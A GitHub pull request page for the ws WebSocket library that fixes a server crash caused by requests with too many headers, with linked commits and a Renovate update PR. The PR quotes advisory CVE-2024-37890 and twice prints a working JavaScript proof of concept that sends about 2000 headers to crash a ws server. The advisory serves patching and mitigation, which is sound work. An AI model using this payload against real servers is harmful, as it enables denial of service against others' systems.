Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix crash when the Upgrade header cannot be read #2231

Merged
merged 1 commit into from
Jun 16, 2024
Merged

Conversation

lpinca
Copy link
Member

@lpinca lpinca commented Jun 15, 2024

It is possible that the Upgrade header is correctly received and handled
(the 'upgrade' event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
server.maxHeadersCount or request.maxHeadersCount threshold. In this
case incomingMessage.headers.upgrade may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230

It is possible that the Upgrade header is correctly received and handled
(the `'upgrade'` event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
`server.maxHeadersCount` or `request.maxHeadersCount` threshold. In this
case `incomingMessage.headers.upgrade` may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230
@lpinca lpinca changed the title Abort the handshake if the Upgrade header cannot be validated Fix crash when the Upgrade header cannot be read Jun 16, 2024
@lpinca lpinca merged commit fac8994 into master Jun 16, 2024
85 checks passed
@lpinca lpinca deleted the fix/issue-2230 branch June 16, 2024 09:30
lpinca added a commit that referenced this pull request Jun 16, 2024
It is possible that the Upgrade header is correctly received and handled
(the `'upgrade'` event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
`server.maxHeadersCount` or `request.maxHeadersCount` threshold. In this
case `incomingMessage.headers.upgrade` may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230
lpinca added a commit that referenced this pull request Jun 16, 2024
It is possible that the Upgrade header is correctly received and handled
(the `'upgrade'` event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
`server.maxHeadersCount` or `request.maxHeadersCount` threshold. In this
case `incomingMessage.headers.upgrade` may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230
lpinca added a commit that referenced this pull request Jun 16, 2024
It is possible that the Upgrade header is correctly received and handled
(the `'upgrade'` event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
`server.maxHeadersCount` or `request.maxHeadersCount` threshold. In this
case `incomingMessage.headers.upgrade` may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230
lpinca added a commit that referenced this pull request Jun 16, 2024
It is possible that the Upgrade header is correctly received and handled
(the `'upgrade'` event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
`server.maxHeadersCount` or `request.maxHeadersCount` threshold. In this
case `incomingMessage.headers.upgrade` may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230
lpinca added a commit that referenced this pull request Jun 16, 2024
It is possible that the Upgrade header is correctly received and handled
(the `'upgrade'` event is emitted) without its value being returned to
the user. This can happen if the number of received headers exceed the
`server.maxHeadersCount` or `request.maxHeadersCount` threshold. In this
case `incomingMessage.headers.upgrade` may not be set.

Handle the case correctly and abort the handshake.

Fixes #2230
mina86 pushed a commit to ComposableFi/emulated-light-client that referenced this pull request Jun 18, 2024
Bumps ws from 7.5.9 to 7.5.10 to address crash when the Upgrade header
cannot be read.  See websockets/ws#2231.
chinthliss added a commit to chinthliss/MuckWebInterface that referenced this pull request Jun 25, 2024
github-merge-queue bot referenced this pull request in camunda/camunda Aug 9, 2024
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [ws](https://togithub.com/websockets/ws) | [`8.17.0` ->
`8.17.1`](https://renovatebot.com/diffs/npm/ws/8.17.0/8.17.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/ws/8.17.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ws/8.17.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ws/8.17.0/8.17.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ws/8.17.0/8.17.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency
Dashboard for more information.

### GitHub Vulnerability Alerts

####
[CVE-2024-37890](https://togithub.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q)

### Impact

A request with a number of headers exceeding
the[`server.maxHeadersCount`][] threshold could be used to crash a ws
server.

### Proof of concept

```js
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
```

### Patches

The vulnerability was fixed in [email protected]
(websockets/ws@e55e510)
and backported to [email protected]
(websockets/ws@22c2876),
[email protected]
(websockets/ws@eeb76d3),
and [email protected]
(websockets/ws@4abd8f6)

### Workarounds

In vulnerable versions of ws, the issue can be mitigated in the
following ways:

1. Reduce the maximum allowed length of the request headers using the
[`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options
so that no more headers than the `server.maxHeadersCount` limit can be
sent.
2. Set `server.maxHeadersCount` to `0` so that no limit is applied.

### Credits

The vulnerability was reported by [Ryan
LaPointe](https://togithub.com/rrlapointe) in
[https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230).

### References

-
[https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230)
-
[https://github.com/websockets/ws/pull/2231](https://togithub.com/websockets/ws/pull/2231)

[`--max-http-header-size=size`]:
https://nodejs.org/api/cli.html#--max-http-header-sizesize
[`maxHeaderSize`]:
https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener
[`server.maxHeadersCount`]:
https://nodejs.org/api/http.html#servermaxheaderscount

---

### Release Notes

<details>
<summary>websockets/ws (ws)</summary>

### [`v8.17.1`](https://togithub.com/websockets/ws/releases/tag/8.17.1)

[Compare
Source](https://togithub.com/websockets/ws/compare/8.17.0...8.17.1)

### Bug fixes

- Fixed a DoS vulnerability
([#&#8203;2231](https://togithub.com/websockets/ws/issues/2231)).

A request with a number of headers exceeding
the[`server.maxHeadersCount`][server.maxHeadersCount]
threshold could be used to crash a ws server.

```js
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
```

The vulnerability was reported by [Ryan
LaPointe](https://togithub.com/rrlapointe) in
[https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230).

In vulnerable versions of ws, the issue can be mitigated in the
following ways:

1.  Reduce the maximum allowed length of the request headers using the
[`--max-http-header-size=size`][--max-http-header-size=size] and/or the
[`maxHeaderSize`][maxHeaderSize] options so
that no more headers than the `server.maxHeadersCount` limit can be
sent.
2.  Set `server.maxHeadersCount` to `0` so that no limit is applied.

[`--max-http-header-size=size`]:
https://nodejs.org/api/cli.html#--max-http-header-sizesize

[`maxHeaderSize`]:
https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener

[`server.maxHeadersCount`]:
https://nodejs.org/api/http.html#servermaxheaderscount

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job log](https://developer.mend.io/github/camunda/camunda).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4yMC4xIiwidXBkYXRlZEluVmVyIjoiMzguMjAuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYXJlYS9zZWN1cml0eSIsImF1dG9tZXJnZSJdfQ==-->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Throws TypeError when there are too many HTTP headers
1 participant